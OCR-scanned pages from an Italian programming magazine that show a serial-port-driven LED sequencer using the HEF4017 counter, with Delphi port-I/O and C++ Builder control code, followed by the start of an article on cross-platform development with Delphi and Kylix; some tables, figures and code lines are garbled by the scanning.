FAMILY DATA, l Dn LIMIT5 caWgorj M&l
seeFamiy spsmtBtmm
Fig. 2: Nell'immagine di figura si riporta lo sche-
ma logico e la piedinatura del circuito integrato
HEF4017, reperibili in forma completa su Inter-
net all'indirizzo : http://www.components.phiH-
ps.com/ (cortesia Philips Semiconductor).
L'avanzamento del conteggio avviene quando sul
piedino CPO avviene una transizione dello stato logi-
co WW->H1GH, mentre CP1 / è a livello logico LOW,
oppure quando su CP1/ avviene una transizione HI-
GH->LOW mentre su CPO si ha uno stato logico HI-
GH.
FUNCTIONTABLE
MR
CPn
■"F'1
CiPERATION
H
X
X
D - 0^, - H; O, b D - L
L
H
■%.
Cauntar advanirea
L
J-
L
Cauntar advances
L
L
X
ll-< ■ 1 1- sii- !■ ■
L
X
H
! !" i ;- ili- 1< ■
L
H
S
II" i ■! i. ih-.l- ■
L
%
L
II" i ! i. ill-.l. ■
1. H - HIGH stale (ine mare po&inve v
2 L - LtfiV siale (ine lesa paslllve voli
Zi ■ >El abalsll -il il
fl. _/ - pcElltie-gdng Iranalban
& ^V^ - neqallrfe-gang Iranslllon
Fig. 3: Nell'immagine di figura si riporta la tabel-
la della verità dell'integrato HEF4017
(cortesia Philips Semiconductors ).
56»>- M a
9 9
3
http: //www. itport al.it
Sul terminale 05-9 si ha uno stato logico LOW, quan-
do sono attive le linee OO -04, mentre si ha la pre-
senza di un livello HIGH quando sono attive le linee
05 - 09: questo contatto del circuito integrato per-
mette di espandere lo schema elettrico rendendo pos-
sibile l'aggiunta di eventuali sezioni in cascata che
permettono di incrementare il numero di luci control-
late.
La tabella della verità del circuito integrato mostra le
funzioni logiche del dispositivo, in particolare notia-
mo che quando il piedino MR (Master Reset) è posto a
livello logico HIGH, indipendentemente dallo stato
delle altre linee, la logica interna del chip si pone nel-
lo stato iniziale del conteggio, ovvero con OO e 05-9 a
livello HIGH e con le altre uscite a livello LOW.
ANALISI DELLO SCHEMA
ELETTRICO
Nella premessa di questo articolo abbiamo affermato
di volere controllare una sequenza di luci: vogliamo
in particolare che le dieci uscite siano attive una alla
volta; eventualmente in una successiva applicazione
si potranno collegare più luci su una stessa uscita.
Fig. 4: Il diagramma logico del circuito integrato
HEF4017 mostra la struttura del contatore di
Johnson a cinque stadi e la relativa decodifica a
dieci uscite (cortesia Philips Semiconductors).
Il diagramma che segue mostra il circuito logico com-
prendente i cinque flip-flop in cascata e la decodifica
decimale realizzata con porte logiche nella parte bas-
sa dello schema.
La sequenza temporale di commutazione delle uscite,
viene inoltre rappresentata nella figura che segue, do-
ve si nota, per ciascuna uscita il livello logico corri-
spondente ad un determinato stadio del conteggio, in
relazione al segnale di clock inviato sui piedini CPO e
CP1/.
- '--^(lAJvyyyv^
rv
n „ amyr ~
1
i
e, ™™t ,
fl j0 ^JT
c ,[KjmjT
D, OUW
a, o„™-
^~1
^autPUT
r^
~
..,™
l~
i,_ a OVT^T
Fig. 5: Il diagramma di timing mostra, in forma
grafica, quanto già riportato nella tabella della
verità, si notano in particolare la sequenza del
conteggio e la relativa decodifica a dieci uscite
(cortesia Philips Semiconductors).
È stato detto che il circuito viene comandato per mez-
zo della porta seriale; di seguito vengono riportate le
connessioni della porta in questione, nelle due versio-
ni a 9 e 25 Pin, con la rispettive piedinature.
Nella terza colonna della tabella notiamo l'utilizzo
particolare che viene assegnato a ciascuna linea, per
la nostra applicazione.
Dal momento che abbiamo a disposizione soltanto
due uscite, corrispondenti rispettivamente a DTR e a
RTS, oltre a quattro ingressi, è stato deciso di utilizza-
re DTR come linea di alimentazione del circuito, men-
tre RTS viene impiegato come segnale di clock per il
contatore di Johnson contenuto nell'integrato 4017. 1
quattro ingressi della porta vengono impiegati a fine
di collaudo del buon funzionamento del circuito e so-
prattutto a scopo didattico, come si comprenderà me-
glio più avanti. Il lettore attento avrà notato che non
vengono utilizzate le linee TX ed RX della porta se-
riale: il motivo è legato all'architettura di gestione in-
terna dei segnali in questione attraverso un particola-
re circuito integrato chiamato UART (Universal Asyn-
chronous Receiver j Transmitter), abbastanza complesso
da gestire, che analizzeremo in un appuntamento fu-
turo.
Porta Seriale:
Connettore 25 PIN
Porta Seriale:
Connettore 9 PIN
Segnale Porta Seriale
(Circuito di Controllo )
Tipo di segnale
Porta seriale
Pin 4
Pin 7
RTS (Clock)
Request To Sena
Pin 5
Pin 8
CTS (OO)
Clear To Sena
Pino
Pin 6
DSR (01)
"Data Set Ready
Pin 7
Pin 5
SG (GND, massa elettrica)
Signal Ground
Pin 8
Pini
CD(OD
Carrier Detect
Pin 20
Pin 4
DTR (Alimentazione)
Data Terminal Ready
Pin 22
Pin 9
RI (03)
Ring Indicator
Elettronica
e Delphi
Il controllo
di una sequenza
di luci con
la porta seriale
Piastre
per montaggi
sperimentali
/-& Per la realizzazio-
~~-J ne di questo cir-
cuito è stata utilizzata
la 'scheda universale'
proposta su questa rivi-
sta nel numero di No-
vembre 2002, sulla
quale si possono trova-
re informazioni all'indi-
rizzo:
http://web.tiscali.it
/spuntosoft/
È possibile comunque
utilizzare una comune
breadboard per mon-
taggi sperimentali.
Tab. 1: Connessioni della porta seriale nella versione 9-25 Pin.
http: //www. itport al.it
g g
3 ►►► 57
t t
Elettronica
e Delphi
Il controllo
di una sequenza
di luci con
la porta seriale
I componenti
necessari
N 1 CMOS 4017
N 10 Diodi LED Rossi
DI, D2 N2 Diodi 1N4148
RI NI Res. 10 KOhm
R2-R11 N10 Res. 2,2 KOhm
Lo schema elettrico viene riportato in Fig. 6; come si
può notare non è prevista alcuna forma di alimenta-
zione esterna, il motivo è che la potenza necessaria
viene prelevata, attraverso un diodo dalla linea di
uscita DTR, corrispondente al piedino 20 della nostra
interfaccia universale.
L'uscita RTS invia il segnale di clock al contatore con-
tenuto nel circuito integrato; la resistenza RI viene
utilizzata come componente di 'Pulì down' per forza-
re la linea a livello logico LOW, corrispondente alla
massa elettrica del circuito.
o X
Fig. 6: Lo schema elettrico riportato in figura mo-
stra come sia possibile realizzare un circuito di
controllo per dieci diodi luminosi, controllati dalla
porta seriale, senza bisogno di alimentazione
esterna. Tra parentesi sono riportati i piedini del-
la scheda universale, mentre nella Tabella 1 le
connessioni con i connettori seriali DB9 e DB25.
Si notano le dieci uscite del circuito integrato, ciascu-
na collegata ad una resistenza di carico di un diodo
LED, allo scopo di limitarne la corrente interna.
A scopo di collaudo vengono collegate alle prime
quattro uscite dell'integrato 4017 gli ingressi della
porta seriale CTS, DSR, CD e RI, per rendere possibi-
le l'analisi dei segnali logici durante il conteggio per
mezzo del programma di testing reperibile sul CD al-
legato alla rivista.
REALIZZAZIONE
DEL CIRCUITO ELETTRICO
Il circuito elettrico può essere realizzato facilmente
utilizzando la Scheda Universale, oppure per mezzo
delle tecniche convenzionali di costruzione dei cir-
cuiti elettronici, con l'aiuto di stagno, saldatore ed
una piastra millefori per montaggi sperimentali.
Il circuito elettrico è molto semplice da realizzare, ba-
sta seguire lo schema elettrico, aiutandosi con le foto-
grafie riportate di seguito.
Nello schema, il circuito integrato è stato raffigurato
come nella realtà, ovvero la piedinatura è stata posi-
zionata come sul chip vero e proprio inoltre, anche la
disposizione dei componenti è stata rappresentata in
linea di massima come sulla piastra sperimentale, per
facilitare al massimo la realizzazione del circuito.
Nell'intorno del circuito 4017 si possono notare le
connessioni relative alle uscite, realizzate con fili di
colore blu e verde, le dimensioni del circuito sono ab-
bastanza ridotte, conviene pertanto riferirsi allo sche-
ma elettrico per le connessioni di dettaglio.
Fig. 8: Nell'immagine si ha un dettaglio delle con-
nessioni relative alle linee di ingresso/uscita del-
la porta seriale collegata alla scheda universale:
da notare le numerazioni sul lato sinistro della
piastra.
Le connessioni di Ingresso/Uscita della porta sono sta-
te realizzate con terminali di colore rosso, mentre si
possono notare i due diodi che sono responsabili del-
la trasmissione dei segnali provenienti da DTR ed
RTS.
Per il montaggio dei diodi è necessario che questi ul-
timi siano posizionati con la fascetta scura disegnata
sul loro contenitore collegata al circuito integrato.
Fig. 7: La fotografia di figura mostra un dettaglio
dei cablaggi del circuito nell'intorno dell'integra-
to 4017.
■ ■
■ ■ ■ ■
# p
. p . -
• p
?0 ■ m m p
p p
fe ■ . p
p ■ ■ p
• m a •
m ■ ■ ■
| 35 * a ■ «
■ p p ■
. p p »
■ ■ ■ •
Fig. 9: Ciascun diodo LED è dotato di una resi-
stenza che ne limita la corrente interna.
58 ►►► Maggi
3
http: //www. itport al.it
Come già detto in precedenza, ciascun diodo LED è
collegato ad una resistenza di carico che ne limita la
corrente: durante il montaggio del diodo LED occor-
re fare attenzione che il terminale più lungo sia posi-
zionato verso la resistenza, mentre il contatto più cor-
to deve essere collegato alla massa elettrica, pena il
mancato funzionamento del circuito.
Queste poche indicazioni dovrebbero essere suffi-
cienti al cablaggio dell'intero circuito.
IL COMPONENTE DELPHI
DI CONTROLLO
DELL'INPUT/OUTPUT
Completata la descrizione dell'hardware veniamo al-
la definizione del software di controllo del nostro cir-
cuito elettronico.
Abbiamo a disposizione un componente Delphi che
ha la caratteristica di accedere all'hardware del PC at-
traverso i propri indirizzi fisici di I/O, questa tecnica,
dal momento che scavalca il sistema operativo, po-
trebbe non 'piacere' a Windows NT, 2000, oppure XP,
pertanto si consiglia di utilizzare un calcolatore dota-
to di Win 3.X, Win 9X, oppure Millennium.
Personalmente utilizzo un vecchio e glorioso '486 do-
tato di Win95 per i miei esperimenti elettronici, in
modo da non rischiare la 'vita' di macchine più nuo-
ve e pregiate: un PC come questo può essere acqui-
stato per poche decine di euro e garantisce ottime po-
tenzialità dal punto di vista della sperimentazione.
Pdtornando al componente Delphi, notiamo che è do-
tato soltanto di una funzione e di una procedura,
queste ultime si occupano rispettivamente della let-
tura e della scrittura sulla porta fisica di I/O: il codi-
ce è abbastanza semplice, per chiarezza ne viene ri-
portato il listato completo, ma per motivi di spazio ne
viene lasciata l'interpretazione al lettore:
(l // H IJ_
Il TSpuntoHardwarePortlO Delphi 6 Visual Component //
// Copyright 2003 Luca Spuntoni //
H spuntosoft@tiscali.it //
(l U U lj_
unit TSpuntoHardwarePortIO_unit;
interface
uses
Windows, Messages, SysUtils, Classes, Controls,
ExtCtrls,
SpuntoLedComponent;
type
TSpuntoHardwarePortlO = class(TSpuntoLed)
private
{ Private declarations }
protected
{ Protected declarations }
public
{ Public declarations }
procedure WritePort(PortAddress, PortData:word);
function ReadPort(PortAddress: word): word;
published
{ Published declarations }
end;
procedure Register;
implementation
procedure TSpuntoHardwarePortlO. WritePort(
PortAddress, PortData:word);
// Write PortData over PortAddress if Port Writing
is enabled
begin
PortData := (PortData*256) + PortData;
asm
Mov ax, PortData
Mov dx, PortAddress
Out dx,ax
end;
end;
function TSpuntoHardwarePortlO. Read Port(
PortAddress: word): word;
var
ReadPortData: word;
begin
asm
Mov dx, PortAddress
In ax,dx
Mov ReadPortData, ax
end;
Result := Byte(ReadPortData);
end;
procedure Register;
begin
RegisterComponents('Spunto',
[TSpuntoHardwarePortlO]);
end;
end.
IL PROGRAMMA C+ +
DI CONTROLLO
DEL CIRCUITO
Il codice riportato di seguito, scritto in C++, costitui-
sce il tramite attraverso il quale vengono inviati i se-
gnali di controllo necessari alla porta seriale per ge-
stire la nostra realizzazione.
In sostanza, il circuito necessita di due tipi di segnali:
l'accensione dell'apparato avviene quando la linea
DTR della porta seriale è posta a livello logico HIGH,
Elettronica
e Delphi
Il controllo
di una sequenza
di luci con
la porta seriale
Prelevare
potenza dalla
porta seriale
r~s E' possibile prele-
va vare una limitata
quantità di energia
elettrica dalla porta se-
riale, a patto che la cor-
rente richiesta non ec-
ceda pochi milliampe-
res. Occorre inoltre
adattare la tensione di
uscita della linea per
mezzo di diodi per 'ta-
gliare' la componente
negativa del segnale,
dal momento che la
porta RS232 fornisce
un livello di tensione
che può essere com-
preso anche tra
+3/ + 25 Volts e -3/-25
Volts, con una differen-
za di tensione tra due
linee di stati logici dif-
ferenti che può rag-
giungere i 50 Volts. È
indispensabile docu-
mentarsi sulle caratte-
ristiche elettriche della
propria porta seriale
prima di effettuare
esperimenti in questo
senso, dal momento
che un utilizzo impro-
prio può danneggiare
la porta o molto peggio
la nostra scheda ma-
dre.
http: //www. itport al.it
g g
3 ►►► 59
t t
in un secondo luogo la procedura di conteggio del-
l'integrato 4017 viene resa possibile inviando una se-
quenza di impulsi sulla linea RTS.
Elettronica
e Delphi
Il controllo
di una sequenza
di luci con
la porta seriale
Precauzioni
r& Prima di collegare
*V il circuito al PC oc-
corre verificare la no-
stra realizzazione con
attenzione per assicu-
rarci che tutto sia stato
collegato e come previ-
sto.
IH .Spunto Lights Control: spuntosoft@tiscali.it
Il j
Delay: 1000 m
CLOCK: •
3ec
-COMPort:
P E0M1
r COM2
Power 0N/0FF Q
Fig. 10: Nella figura si ha una schermata del pro-
gramma che controlla il circuito: è possibile con-
trollare la velocità di esecuzione della sequenza
delle luci per mezzo del cursore, nonché scegliere
la porta di comunicazione sul quale è collegato
l'apparato.
//
#include <vcl.h>
#pragma hdrstop
# include "SpuntoControlloLuciUnit.h"
//
#pragma package(smartjnit)
#pragma link "SpuntoLedComponent"
#pragma link "TSpuntoHardwarePortIO_unit"
#pragma resource "*.dfm"
unsigned short datain, CombaseAddress, MCRAddress,
LCRAddress, MSRAddress;
TForml *Forml;
//
fastcall TForml: :TForml(TComponent* Owner)
: TForm(Owner)
{
}
Per ottenere ciò è stato inserito un timer principale,
che ha lo scopo di fornire la 'cadenza' degli impulsi
da inviare alla linea RTS, quando il pulsante Poiue-
rONSpeedButton è in posizione 'Down', cioè quando il
circuito è alimentato.
L'impulso viene generato ponendo a 'l' il bit 1 del re-
gistro MCR (Modem Control Register) della porta se-
riale:
//
void fastcall TForml: :MainTimerTimer(TObject *Sender)
{ //Main Timer
if (PowerONSpeedButton->Down) //Power is ON
j
SpuntoHardwarePort->LedOn();
datain = SpuntoHardwarePort->ReadPort(MCRAddress);
datain=(datain | 0x03);
SpuntoHardwarePort->WritePort(MCRAddress,datain);
DelayTimer->Enabled=true;
}
else
_i
SpuntoHardwarePort->LedOff(); // Power is OFF
datain =SpuntoHardware Po rt->ReadPort(MCRAddress);
datain = (datain & Oxfc);
SpuntoHardwarePort->WritePort(MCRAddress, datain);
DelayTimer->Enabled=false;
_J
}
Un secondo timer, chiamato DekyTimer stabilisce la
durata dell'impulso da inviare a RTS, la fine dell'im-
pulso stesso viene forzata ponendo a '0' il bit 1 del-
l'MCR della porta seriale:
//
void fastcall TForml: :DelayTimerTimer(TObject
*Sender)
{ //Delay timer
datain=SpuntoHardwarePort->ReadPort(MCRAddress);
datain = (datain & Oxfd);
SpuntoHardwarePort->WritePort( MCRAddress, datain);
SpuntoHardwarePort->LedOff();
DelayTimer->Enabled=false;
}
Una barra a scorrimento si occupa di stabilire il ri-
tardo tra un impulso e l'altro espresso in millisecon-
di; la durata dell'impulso è fissata invece in 200 mil-
lisecondi:
//
void fastcall TForml ::TrackBarChange(TObject *Sender)
{ //Trackbar management
MainTimer->Interval=TrackBar->Position;
Labell->Caption = IntToStr(TrackBar->Position);
}
//
void fastcall TForml: : FormCreate(TObject *Sender)
{
// Sets the labels
Labell->Caption = IntToStr(TrackBar->Position);
// Sets the Power LED
if(PowerONSpeedButton->Down)
SpuntoPowerLed->LedOn();
else
SpuntoPowerl_ed->LedOff();
// Default (COMI) Port setup
CombaseAddress=0x03f8;
MCRAddress=CombaseAddress+4;
LCRAddress=CombaseAddress+3;
MSRAddress=CombaseAddress+6;
L'accensione del circuito avviene ponendo la linea
60 ►►► Maggi
3
http: //www. itport al.it
DTR a livello logico HIGH; questo si ottiene forzando
a 'l' il bit V del MCR della porta seriale.
//
void fastcall TForml: :PowerONSpeedButtonClick
(TObject *Sender)
{ //Power ON
if(PowerONSpeedButton->Down)
SpuntoPowerLed->LedOn();
else
SpuntoPowerL_ed->LedOff(); //Power OFF
}
La selezione della porta COM, nel nostro caso COMI,
oppure COM2 avviene per mezzo del codice che se-
gue, per espansioni future sono stati definiti gli indi-
rizzi dei registri LCR (Line Control Register) e MSR
(Modem Status Register), oltre a MCR che abbiamo già
citato:
//
void fastcall TForml: :COMlRadioButtonClick(TObject
*Sender)
{
// COMI Port setup
CombaseAddress=0x03f8;
MCRAddress=CombaseAddress+4;
LCRAddress=CombaseAddress+3;
MSRAddress=CombaseAddress+6;
}
II-
void fastcall TForml: :COM2RadioButtonClick(TObject
*Sender)
{
// COM2 Port setup
CombaseAddress=0x02f8;
MCRAddress=CombaseAddress+4;
LCRAddress=CombaseAddress+3;
MSRAddress=CombaseAddress+6;
}
//
VERIFICA DEI SEGNALI
ALL'OSCILLOSCOPIO
LOGICO
Una volta completata la nostra realizzazione, siamo
giunti al momento di collaudarne il funzionamento,
verificandone i segnali di ingresso /uscita.
Provvediamo a verificare un'ultima volta tutte le con-
nessioni elettriche, nonché le polarità dei diodi e dei
LED; completato il controllo, siamo pronti a collegare
il circuito alla porta seriale del PC, ovviamente a com-
puter rigorosamente spento.
Accendiamo il calcolatore e lanciamo il programma
di controllo, nonché quello di monitor della porta se-
riale, contenuti nel file 'SpuntoControlloLuci.zip' repe-
ribili nel CD allegato alla rivista e/o sul Web; provve-
diamo subito a selezionare la porta seriale sulla qua-
le è collegato il circuito da verificare. Premiamo ora il
pulsante 'Oscilloscope Sweep' ed alimentiamo il circui-
to premendo il tasto Power ON/OFF sulla schermata
del programma di controllo.
Serial Port Logic Tester
Fig. 11: L'analisi del circuito all'oscilloscopio logi-
co mostra la sequenza dei segnali generati dal-
l'integrato 4017, in funzione del segnale di
'Clock' inviato tramite il programma di gestione
sulla linea RTS della porta seriale.
Se tutto funziona come deve, dovremmo vedere ac-
cendersi un LED alla volta in sequenza ed un dia-
gramma simile a quello di figura dovrebbe apparire
sull'oscilloscopio logico, se ciò non accade provve-
diamo a spegnere tutto ed a ricontrollare tutte le con-
nessioni elettriche del circuito.
Lo schema può essere ampliato notevolmente, ad
esempio aggiungendo in serie più integrati 4017 per
aumentare il numero di uscite.
CONCLUSIONI
In queste pagine abbiamo proposto un sistema com-
pleto, dotato di Hardware e Software per il controllo
di una sequenza di luci.
La trattazione è stata condensata all'essenziale per
motivi di spazio, privilegiando la parte hardware, vi-
sto il pubblico di programmatori verso cui è rivolta la
rivista.
Il lettore vorrà comprendere che nonostante quanto
esposto in queste pagine sia stato debitamente verifi-
cato e collaudato, tuttavia viene riportato a scopo il-
lustrativo e di studio, pertanto l'editore e l'autore non
sono da considerare responsabili per eventuali conse-
guenze derivanti dell'utilizzo di quanto esposto in
questa sede, soprattutto per la tipologia e la comples-
sità dell'argomento.
Un doveroso ringraziamento è dovuto inoltre alla
'Philips Semiconductors', per la cortesia e la disponi-
bilità dimostrata, nonché per avere permesso la pub-
blicazione dei dati e delle caratteristiche dell'integra-
to HEF4017.
L'autore è lieto di rispondere a qualunque domanda
od ad accettare qualunque tipo di consiglio all'indi-
rizzo: spuntosoft@tiscali.it.
Luca Spuntoni
Elettronica
e Delphi
Il controllo
di una sequenza
di luci con
la porta seriale
Installazione del
Componente
/-ft L'installazione del
--*/ componente può
essere effettuata facil-
mente selezionando
Component / Instali
Component , utilizzando
C++ Builder
http: //www. itport al.it
9 9
3 ►►► 61
m
Sistema
File sul CD
\soft\codice
\reminder.zip
File sul Web W
www.itportal.it
\iop69\reminder.zip
Delphi e Kylix
INSIEME PER LO SVILUPPO
CROSS-PLATFORM
Con le nuove versioni dei prodotti
Borland diventa sempre più facile
avvicinarsi alla programmazione
su Linux, e si può cominciare a
pensare ad un solo codice per i
nostri progetti da condividere
con Windows.
Delphi è uno degli strumenti più noti della Bor-
land con il quale si possono creare applicazio-
ni in maniera molto rapida, ma senza rinun-
ciare a tutte le potenzialità delle API di Windows. Ho
sempre considerato Delphi il giusto compromesso tra
Visual Basic (la vecchia versione, dato che ormai con
.NET non c'è più una vera differenza di approccio tra i
diversi linguaggi Microsoft) e Visual C++, perché men-
tre con i prodotti Microsoft si doveva scegliere tra rapi-
dità/semplicità e flessibilità /potenza, con l'Object Pa-
scal e le VCL si potevano avere entrambi.
Poi entrò in scena Kylix. Inizialmente si trattava
di una nuova "forma" di Delphi, che diventava
così uno strumento per lo sviluppo anche sotto
Linux, utilizzando sempre l'Object Pascal come
linguaggio di programmazione e CLX come li-
breria in sostituzione delle VCL (troppo dipen-
denti dalla piattaforma Windows). La geniale
idea veniva a colmare una grossa lacuna nel
mondo dei linuxiani, in cui non si trovava un
tool di sviluppo di alto livello e facile utilizzo,
eccezione fatta forse per KDevelop. Inoltre,
un'ottima scelta strategica di Borland prevedeva
(e prevede ancora) la distribuzione di una ver-
sione ridotta (ma fondamentalmente utile) del
prodotto con licenza d'uso gratuita per sviluppo
open source. Il successo non deve essersi fatto
attendere molto, visto che con l'ultima release di
Kylix sono state introdotte una serie di novità
che danno ad intendere che il tool sia tutt' altro
che in fase discendente!
Ad oggi siamo dunque arrivati a Kylix 3: non si
tratta più solo di Delphi "portato" sotto Linux.
È una piattaforma di sviluppo basata sulle libre-
rie CLX con due ambienti IDE correlati che per-
mettono di scrivere codice utilizzando sia C++
che Object Pascal interfacciandosi allo stesso so-
strato (CLX, appunto). Quindi con Kylix adesso
possiamo creare applicazioni per Linux e sce-
gliere il linguaggio che preferiamo, e possiamo
sfruttare le nostre competenze CLX sia con C++
che con Pascal! Si tratta quindi di fatto di due
prodotti in uno... (Fig. 1)
Fig. 1: La versione C++ di Kylix per Linux.
Il vero punto di forza sta nel fatto che la libreria
CLX, che si adopera sotto Linux con Kylix, è di-
sponibile anche utilizzando Delphi per Win-
dows. E non si tratta di una cosa da poco, perché
così ci si aprono diverse possibilità di sviluppo
cross-platform. Ma innanzitutto identifichiamo
il problema: quella di creare codice che sia com-
pilabile sotto diverse architetture e/o sistemi
operativi è una necessità vecchia come il mondo
(o poco meno...). Per venire incontro a tale esi-
genza si possono seguire diverse strade: si può
scrivere un'applicazione diversa per ogni piat-
taforma, di modo che tutte facciano le stesse co-
se, ma ognuna sfrutti le caratteristiche tipiche
del sistema per cui è scritta; oppure si può fare il
porting di un'applicazione esistente sotto una
piattaforma utilizzando delle librerie di emula-
zione, che ricreino un ambiente equivalente a
quello del programma originale. In questi due
casi non si rinuncia a nessuna delle potenzialità
di ogni piattaforma target, ma si sacrificano da
un lato la mantenibilità del codice e dall'altro la
performance del prodotto finale. Un compro-
messo è quello offerto dallo sviluppo cross-
platform così come inteso, per esempio, da Kylix
e Delphi: si crea una libreria di base che rappre-
62>» M a
9 9
3
http: //www. itport al.it
senta il massimo comune divisore delle funzio-
nalità dei vari sistemi di esecuzione (nel caso
sotto mano, Linux e Windows) e si sviluppa il
codice con tale libreria: il risultato sarà un appli-
cativo compilabile senza grossi problemi sotto
entrambe le piattaforme. Con questa soluzione
intermedia si sacrifica un po' la flessibilità e la
potenza della libreria usata, ma non si perde in
termini di mantenibilità e di performance.
Avrete capito a questo punto che esiste la possi-
bilità di sviluppare un'applicazione con Delphi
e compilarla direttamente sotto Linux utilizzan-
do Kylix (o viceversa), con il piacevole risultato
di vedere il nostro programma girare in due am-
bienti così diversi per natura e architettura. Il
tutto si basa - come ho già accennato - sul fatto
che la libreria CLX è praticamente la stessa sia in
Delphi che in Kylix. Tre sono le sottolibrerie fon-
damentali: BaseCLX per le chiamate ai servizi
fondamentali del sistema operativo, NetCLX per
l'accesso alle funzionalità di rete, DataCLX per
l'accesso ai dati da fonti SQL. Infine la sottoli-
breria VisualCLX gestisce l'ambiente grafico ba-
sato su finestre (XWindow o Windows) offrendo
le caratteristiche basilari di un ambiente grafico.
È utile far notare in questo contesto che svilup-
pando con Delphi sotto Windows si ha una scel-
ta per quello che riguarda lo sviluppo di appli-
cazioni con interfaccia grafica, perché esiste
un'alternativa a VisualCLX che si chiama Win-
CLX la quale sfrutta appieno le API di Windows,
anche se non di creare codice portabile sicura-
mente offre più flessibilità nella gestione e uti-
lizzo del sistema operativo Microsoft.
Nella terminologia di Delphi e Kylix, fermo re-
stando che BaseCLX, NetCLX e DataCLX sono
sempre le stesse, si parla di CLX quando la li-
breria grafica utilizzata è VisualCLX, mentre si
dice VCL quando si utilizza WinCLX. Anche nel
seguito di questo articolo utilizzeremo questa
convenzione.
IL PORTING DI PROGETTI
DELPHI E KYLIX
Come si procede quando si vuole creare un'ap-
plicazione che giri sotto Windows e sotto Linux?
Si possono fondamentalmente percorrere due
strade diverse ma confluenti: l'obiettivo è sem-
pre quello di avere del codice che utilizza le li-
brerie CLX. Per cui o creiamo un progetto CLX o
migriamo un progetto VCL. Quest'ultima solu-
zione non è sempre facilissima: dobbiamo con-
vertire i file .dfm in .xfm e conseguentemente mo-
dificare le direttive del compilatore l$R *.dfmj in
{$R *.xfmj, mentre nella clausola uses importere-
mo i componenti CLX invece di quelli VCL (ad
esempio, QGraphics, QStdCtrìs, QForms, etc).
È altresì necessario però cercare alternative al
Data Modules | InlraWeb | WebServices | Business | WebSnap | Web Docurnents
Ne™ | ActiveX | Multitier | Proiectl | Forms | Dialogs | Projects
Application Batch File
P9 IS
Component Console
Application
EW.IL
□
Control Panel Control Panel DataModule DLL Wizard Form
Application Module
CI
Frame
Package Project Group Resource DLL Service
Wizard
C Copy
Cancel Help
Fig. 2: La creazione di un progetto CLX
codice specifico di Windows o includerlo in
blocchi !$IFDEF MSWINDOWS}, nonché correg-
gere i punti in cui si fa riferimento a percorsi di
file utilizzati nel codice (avvalendosi eventual-
mente anche di PathSep, PathDeìim e DriveDelim
in Syslltils).
È presumibile che in un programma scritto uti-
lizzando VCL si faccia molto uso di peculiarità
Windows non disponibili sotto Linux e quindi
Le direttive di compilazione
Oltre alle istruzioni Object Pascal, nei nostri pro-
grammi possiamo fornire al compilatore istruzioni
per guidarlo nella creazione dell'applicazione ese-
guibile. Nel contesto dell'argomento che stiamo
trattando le direttive ci servono per poter esclude-
re o includere certi blocchi di codice dalla compila-
zione a seconda della piattaforma su cui sta lavo-
rando il compilatore. In questo modo è possibile
utilizzare certe funzionalità specifiche di ogni ar-
chitettura, senza inficiare la portabilità del prodot-
to finale. È meglio limitare al minimo indispensabi-
le l'uso di questo trucco, poiché mina un po' la
mantenibilità e leggibilità del codice.
La Borland, consapevole della potenzialità cross-
platform dei suoi prodotti Kylix e Delphi, ha fatto
sì che siano definite delle variabili d'ambiente re-
lative al sistema operativo in esecuzione: si tratta
di LINUX, MSWINDOWS, WIN32 e WIN64. Potete
utilizzare queste costanti con la direttiva {$IF-
DEF} per testarne l'esistenza e includere codice
specifico.
Ad esempio:
{$IFDEF MSWINDOWS}
strFileName := 'C:\Federico\Settings\reminder.ini';
{$ENDIF>
{$IFDEF LINUX}
strFileName := yhome/federico/settings/reminder.cfg , ;
{$ENDIF}
Notate che per Windows ci sono tre definizioni:
una generica (MSWINDOWS), una per i sistemi a
32 bit (WIN32), e l'ultima per i nuovi sistemi a 64
bit (WIN64).
È consigliabile utilizzare sempre quella generica a
meno di essere a conoscenza di problemi del vo-
stro codice con una o l'altra versione.
Sistema
Delphi e Kylix
insieme per lo
sviluppo
cross-platform
Ó
CLX
Nella terminologia
di Delphi e Kylix,
fermo restando che Ba-
seCLX, NetCLX e Data-
CLX sono sempre le
stesse, si parla di CLX
quando la libreria gra-
fica utilizzata è Visual-
CLX, mentre si dice VCL
quando si utilizza Win-
CLX. Anche nel seguito
di questo articolo uti-
lizzeremo questa con-
venzione.
http: //www. itport al.it
M a g g
2 3 ►►► 63
m
Sistema
Delphi e Kylix
insieme per lo
sviluppo
cross-platform
Unicode
^s Linux e Windows
<J/ differiscono anche
sensibilmente nel mo-
do in cui vengono ge-
stite le stringhe Unico-
de. Mentre per la Mi-
crosoft Unicode e le
stringe MBCS arrivano
al massimo a due byte
(UTF-16), il sistema
operativo open-source
supporta caratteri Uni-
code fino ad un massi-
mo di addirittura 6 by-
te, e la definizione di
WideChar tra i due si-
stemi è diversa, perché
per Windows si tratta
di UTF-16 (2 byte),
mentre Linux preferi-
sce UTF-32 (4 byte).
probabilmente il lavoro da fare per rendere por-
tabile il progetto non sarà poco! Se si sta crean-
do un nuovo progetto è consigliabile creare di-
rettamente un'applicazione CLX (menu File I
New Fig. 2). In questo modo sarà attivata la tool-
bar CLX, con i componenti compatibili tra le due
piattaforme. Ci sono degli accorgimenti da tene-
re a mente quando si vuole che il proprio codice
Object Pascal sia portabile tra Linux e Windows,
e di questi parleremo nel prossimo paragrafo si
può comunque affermare, con abbastanza preci-
sione, che in un progetto CLX non c'è troppo da
fare per garantire la portabilità.
jnl.il
File Edit View Favorites Tools Help
<r=Back - ^ ■• ft] | ^Search f£jFolders 0History | %S Qs X ^J M'
Address |Q Reminder
•*•! tf^Go
Reminder
[sa] [sa] [sa] [sa]
MainUnit.^ddp IA< rrl Ititi "<pa5 MafrrUntl "^sfrfl MainUnit.dcu
Select ari item to vlew its
My Docurnents
My N atw or k Placa;
My Computer
B ^ P W
MainUnit.ddp MainUnit.pas MainUnit.xfm Reminder,-
: ! :':.:f::: ìtfi
Reminder, cfg Reminder, dof Reminder, dpr Reminder.exe
|l3object(s)
|+12 KB g My Computer
Fig. 3: I file del progetto Reminder sotto Windows
In cosa consta dunque questa portabilità? In
realtà, una volta che ritenete di aver scritto del
codice valido per le due piattaforme che Borland
supporta, il tutto si esaurisce nel trasferimento
da una piattaforma all'altra del progetto: copia-
te i file via FTP o SMB sul PC di destinazione,
aprite il progetto con Kylix o Delphi resettate, se
necessario, le opzioni di progetto, e poi dedica-
tevi alla procedura di compile-test-run, che con
ogni probabilità verrà portata a termine senza
problemi.
Cosa trovo nel progetto?
Per vostro riferimento ecco un veloce riassunto dei
principali tipi di file che trovate nella cartella di un
progetto creato con Delphi per Windows o Kylix:
File di unità Pascal (units)
File dei packages Borland
Definizione dei form
Risorse applicative
File di descrizione del progetto
